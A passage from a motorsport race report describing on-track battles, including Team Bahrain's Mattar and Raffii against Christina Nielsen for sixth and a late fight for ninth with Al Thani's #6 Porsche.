Most eyes though were on the Team Bahrain pair and Christina Nielsen, the trio heading down the main straight line-astern in the battle for sixth. Mohammed Mattar managed to find a way past Nielsen, though his teammate’s efforts would not prove quite as lucky. Attempting a move down the inside, the door was emphatically slammed shut, Raed Raffii losing time by slamming on the brakes to avoid T-boning his Danish sparring partner. The laps ticked by and the gap inched itself closed, but the chequered flag was out before another opportunity presented itself.

An electric start saw the #17 car leap up into the midfield before first corner bunching and a tap on the rear sent the Saudi driver back down to 14th. Past the Bronze backmarkers quick enough, the #17 entry began a late race scrap for ninth with a recovering Al Thani in the #6 Porsche.
Several times the pair thundered down the main straight side-by-side, barely a tenth given either way.
